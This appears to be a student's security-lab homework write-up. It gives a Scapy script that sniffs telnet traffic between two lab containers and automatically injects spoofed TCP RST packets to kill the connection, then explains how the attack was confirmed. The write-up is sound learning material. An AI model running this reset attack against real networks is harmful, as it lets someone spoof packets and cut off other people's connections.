def send\_rst(pkt):  
 print("SENDING RESET PACKET..........")  
 #sniffing packet from server/end host 10.9.0.6 -> 10.9.0.5  
 #sending packet as user/victim 10.9.0.5  
 ip = IP(src=pkt[IP].dst, dst=pkt[IP].src) #rstPkt.src = 10.9.0.5 rstPkt.dst = 10.9.0.6  
 tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack, ack=pkt[TCP].seq)  
 rstPkt = ip/tcp  
 #ls(rstPkt)  
 send(rstPkt, verbose=0)  
  
pkt = sniff(iface="br-14fcdedbf20a", filter="tcp and src host 10.9.0.6 and src port 23", prn=send\_rst)

I’m able to automate the TCP RST attack by sniffing the telnet packet going from the “server” (10.9.0.6) to the “user” (10.9.0.5). By setting a filter for the packets, I’m only sniffing packets that are coming from the server with the targeted IP and port. The code will try to send out a packet based on the packet we received so the sniffed packet’s destination info (IP, port, seq, ack) becomes the source info of our RST packet. I know this attack has succeeded when the attack is running and after attempting to send a telnet packet, the “connection [is] closed by foreign host”. I can also see in Wireshark that there is an RST packet sent from user to server. I’ve gotten most of the idea from reading the scapy manual, and the video <https://www.youtube.com/watch?v=W2orAOATGgA&t=2708s&ab_channel=RicardoCalix>. The rest of the coding template was taken from the homework pdf.